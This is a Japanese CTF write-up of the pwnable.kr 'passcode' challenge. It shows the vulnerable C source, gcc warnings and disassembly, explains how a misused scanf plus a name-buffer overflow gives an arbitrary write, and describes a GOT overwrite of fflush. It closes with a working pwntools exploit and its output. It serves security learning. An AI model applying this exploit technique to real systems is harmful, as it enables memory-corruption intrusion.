[Pwnable.kr](https://pwnable.kr/)のpasscodeを解いたのでそのwriteupを書いた。これが結構勉強になった。問題文は次の通り >Mommy told me to make a passcode based login system. >My initial C code was compiled without any error! >Well, there was some compiler warning, but who cares about that? > >ssh passcode@pwnable.kr -p2222 (pw:guest) # 任意のアドレスに任意の値を書き込める脆弱性問題のプログラムのソースコードは以下になる。 passcode.c ```c #include #include void login(){ int passcode1; int passcode2; printf("enter passcode1 : "); scanf("%d", passcode1); fflush(stdin); // ha! mommy told me that 32bit is vulnerable to bruteforcing :) printf("enter passcode2 : "); scanf("%d", passcode2); printf("checking...\n"); if(passcode1==338150 && passcode2==13371337){ printf("Login OK!\n"); system("/bin/cat flag"); } else{ printf("Login Failed!\n"); exit(0); } } void welcome(){ char name[100]; printf("enter you name : "); scanf("%100s", name); printf("Welcome %s!\n", name); } int main(){ printf("Toddler's Secure Login System 1.0 beta.\n"); welcome(); login(); // something after login... printf("Now I can safely trust you that you have credential :)\n"); return 0; } ``` 問題文によると、コンパイラが警告を出して来たそうだ。どんな警告なのだろうか？とりあえずgccを使って確かめてみる。 ```bash $ gcc -O0 passcode.c -o passcode-gcc passcode.c: In function ‘login’: passcode.c:10:17: warning: format ‘%d’ expects argument of type ‘int *’, but argument 2 has type ‘int’ [-Wformat=] 10 | scanf("%d", passcode1); | ~^ ~~~~~~~~~ | | | | | int | int * passcode.c:16:20: warning: format ‘%d’ expects argument of type ‘int *’, but argument 2 has type ‘int’ [-Wformat=] 16 | scanf("2: %d", passcode2); | ~^ ~~~~~~~~~ | | | | | int | int * passcode.c:20:33: warning: suggest parentheses around ‘&&’ within ‘||’ [-Wparentheses] 20 | if (passcode1 == 338150 && passcode2 == 13371337 ||1 ) | ~~~~~~~~~~~~~~~~~~~~^~~~~~~~~~~~~~~~~~~~~~~~ passcode.c:10:9: warning: ‘passcode1’ is used uninitialized [-Wuninitialized] 10 | scanf("%d", passcode1); | ^~~~~~~~~~~~~~~~~~~~~~ passcode.c:6:13: note: ‘passcode1’ was declared here 6 | int passcode1; | ^~~~~~~~~ passcode.c:16:9: warning: ‘passcode2’ is used uninitialized [-Wuninitialized] 16 | scanf("2: %d", passcode2); | ^~~~~~~~~~~~~~~~~~~~~~~~~ passcode.c:7:13: note: ‘passcode2’ was declared here 7 | int passcode2; | ^~~~~~~~~ ``` scanfの使い方が間違っているらしい。本当は値が格納される変数のポインタを引数として渡さないといけないのに、変数そのものを渡してしまっている。これによって可能になることを考えてみる。本来のscanfは渡したアドレスに値を書き込むものだ。ということはこの状況では、passcode1の初期値をアドレスとして解釈し、そのアドレスのメモリの値を入力した値に書き換えてくれるということになる。では、passcode1の初期値を自由に設定するにはどうすればよいのかを考えてみる。とりあえず全ての関数を逆アセンブルしてみることにする。 ```x86asm pwndbg> disass main 0x08048665 <+0>: push ebp 0x08048666 <+1>: mov ebp,esp 0x08048668 <+3>: and esp,0xfffffff0 0x0804866b <+6>: sub esp,0x10 0x0804866e <+9>: mov DWORD PTR [esp],0x80487f0 0x08048675 <+16>: call 0x8048450 0x0804867a <+21>: call 0x8048609 0x0804867f <+26>: call 0x8048564 0x08048684 <+31>: mov DWORD PTR [esp],0x8048818 0x0804868b <+38>: call 0x8048450 0x08048690 <+43>: mov eax,0x0 0x08048695 <+48>: leave 0x08048696 <+49>: ret pwndbg> disass welcome 0x08048609 <+0>: push ebp 0x0804860a <+1>: mov ebp,esp 0x0804860c <+3>: sub esp,0x88 0x08048612 <+9>: mov eax,gs:0x14 0x08048618 <+15>: mov DWORD PTR [ebp-0xc],eax 0x0804861b <+18>: xor eax,eax 0x0804861d <+20>: mov eax,0x80487cb 0x08048622 <+25>: mov DWORD PTR [esp],eax 0x08048625 <+28>: call 0x8048420 0x0804862a <+33>: mov eax,0x80487dd 0x0804862f <+38>: lea edx,[ebp-0x70] 0x08048632 <+41>: mov DWORD PTR [esp+0x4],edx 0x08048636 <+45>: mov DWORD PTR [esp],eax 0x08048639 <+48>: call 0x80484a0 <__isoc99_scanf@plt> 0x0804863e <+53>: mov eax,0x80487e3 0x08048643 <+58>: lea edx,[ebp-0x70] 0x08048646 <+61>: mov DWORD PTR [esp+0x4],edx 0x0804864a <+65>: mov DWORD PTR [esp],eax 0x0804864d <+68>: call 0x8048420 0x08048652 <+73>: mov eax,DWORD PTR [ebp-0xc] 0x08048655 <+76>: xor eax,DWORD PTR gs:0x14 0x0804865c <+83>: je 0x8048663 0x0804865e <+85>: call 0x8048440 <__stack_chk_fail@plt> 0x08048663 <+90>: leave 0x08048664 <+91>: ret pwndbg> disass login 0x08048564 <+0>: push ebp 0x08048565 <+1>: mov ebp,esp 0x08048567 <+3>: sub esp,0x28 0x0804856a <+6>: mov eax,0x8048770 0x0804856f <+11>: mov DWORD PTR [esp],eax 0x08048572 <+14>: call 0x8048420 0x08048577 <+19>: mov eax,0x8048783 0x0804857c <+24>: mov edx,DWORD PTR [ebp-0x10] 0x0804857f <+27>: mov DWORD PTR [esp+0x4],edx 0x08048583 <+31>: mov DWORD PTR [esp],eax 0x08048586 <+34>: call 0x80484a0 <__isoc99_scanf@plt> 0x0804858b <+39>: mov eax,ds:0x804a02c 0x08048590 <+44>: mov DWORD PTR [esp],eax 0x08048593 <+47>: call 0x8048430 0x08048598 <+52>: mov eax,0x8048786 0x0804859d <+57>: mov DWORD PTR [esp],eax 0x080485a0 <+60>: call 0x8048420 0x080485a5 <+65>: mov eax,0x8048783 0x080485aa <+70>: mov edx,DWORD PTR [ebp-0xc] 0x080485ad <+73>: mov DWORD PTR [esp+0x4],edx 0x080485b1 <+77>: mov DWORD PTR [esp],eax 0x080485b4 <+80>: call 0x80484a0 <__isoc99_scanf@plt> 0x080485b9 <+85>: mov DWORD PTR [esp],0x8048799 0x080485c0 <+92>: call 0x8048450 0x080485c5 <+97>: cmp DWORD PTR [ebp-0x10],0x528e6 0x080485cc <+104>: jne 0x80485f1 0x080485ce <+106>: cmp DWORD PTR [ebp-0xc],0xcc07c9 0x080485d5 <+113>: jne 0x80485f1 0x080485d7 <+115>: mov DWORD PTR [esp],0x80487a5 0x080485de <+122>: call 0x8048450 0x080485e3 <+127>: mov DWORD PTR [esp],0x80487af 0x080485ea <+134>: call 0x8048460 0x080485ef <+139>: leave 0x080485f0 <+140>: ret 0x080485f1 <+141>: mov DWORD PTR [esp],0x80487bd 0x080485f8 <+148>: call 0x8048450 0x080485fd <+153>: mov DWORD PTR [esp],0x0 0x08048604 <+160>: call 0x8048480 ``` デバッグによって直接分かったことは、 - welcome関数のname\[100\]が積まれるスタックのアドレスが **rbp-0x70** であること。 - login関数のpasscode1が積まれるスタックのアドレスが **rbp-0x10** であること。 - welcome関数とlogin関数で **rbp** の値が等しいこと。 **rbp-0x70** と **rbp-0x10**の距離は96、nameの長さは100なので、nameを100文字で埋めると最後の4文字でpasscode1の初期値を任意の値に変更することができる。おもしろ。 # GOT Overwrite 攻撃ここまでで、任意のアドレスの内容を任意の値に書き換えることができるようになった。では次はどうすればよいだろうか？これが全く思いつかなかったので、他のWriteupを見て分かったことをここからは書いていく。結論から言うと、PLT、GOTをにまつわる攻撃である、GOT Overwrite攻撃というものをする。 ## GOT、PLTとはなにか？ - GOT: 実行ファイルのセクションの1つで、(メモリ上の)場所に依存しない実行(PIE)を実現するために存在する。共有ライブラリ関数のアドレス一覧を保持している。 - PLT: ライブラリ関数を呼ぶためのコード。プログラムから直接よばれて、GOTに関数のアドレスを問い合わせたり、入手したアドレスにジャンプしたりする。参考: [PLTとGOTってなんだっけ](https://keichi.dev/post/plt-and-got/) [GOT/PLTを経由したライブラリ関数呼び出しの流れを追う](https://kashiwaba-yuki.com/linux-got-plt#got) この記事によるとライブラリ関数の呼出を追跡してみると、大まかに、以下のような段階を踏むそうです。 - ライブラリ関数に対応するPLTにジャンプ - GOTに保存されたアドレスにジャンプ初めての呼出の場合は、GOTにはアドレスは保存されておらず、関数のアドレスを探すための関数が呼び出されます。逆アセンブリ結果の関数の呼出の部分にprintfなどではなく、printf@pltなどと表示されていたのはこのためだったのか。このGOTは書き込み可能な領域であり、このGOTの値を書き換えることで共有ライブラリ関数の呼出でよばれるアドレスをいじることができる。これがGOT Overwrite攻撃だそう。このCTF問題(passcode)においてはpasscode1のscanf直後のfflush関数に対してGOT Overwriteを行う。 fflushを逆アセンブルしてみると以下のようになる。 ```x86asm 0x08048430 <+0>: jmp DWORD PTR ds:0x804a004 0x08048436 <+6>: push 0x8 0x0804843b <+11>: jmp 0x8048410 ``` この0x804a004がGOTのアドレスでここに保存されている値が、呼び出される関数のアドレスになっている。 # Exploit scanfの誤用による値の書き換えをつかって0x804a004の値を、フラグが表示される命令のアドレスに変更することで、この問題はクリアできる。 ```python from pwn import * import struct def main(): session = ssh(user="passcode", host="pwnable.kr", port=2222, password="guest") con = session.run(['./passcode']) payload1 = b"A" * 96 + struct.pack("I", 0x804a004) payload2 = str(0x080485d7).encode() log.info("payload1=%s", payload1) log.info("payload2=%s", payload2) con.sendline(payload1) con.sendline(payload2) res = con.recvall(timeout=1) if type(res) != None: res_iter = res.split(b"\n") f = False for i in res_iter: if f: log.success("flag=%s",i) return if b"OK" in i: f = True log.failure("flag is not found") con.close() return if __name__ == "__main__": main() ``` ```bash $ python exploit.py [+] Connecting to pwnable.kr on port 2222: Done [!] Only Linux is supported for ASLR checks. [*] passcode@pwnable.kr: Distro Unknown Unknown OS: Unknown Arch: Unknown Version: 0.0.0 ASLR: Disabled Note: Susceptible to ASLR ulimit trick (CVE-2016-3672) [+] Opening new channel: ['./passcode']: Done [*] payload1=b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x04\xa0\x04\x08' [*] payload2=b'134514135' [+] Receiving all data: Done (298B) [*] Closed SSH channel with pwnable.kr [+] flag=b'Sorry mom.. I got confused about scanf usage :(' ```

Writeup for Pwnable.kr Passcode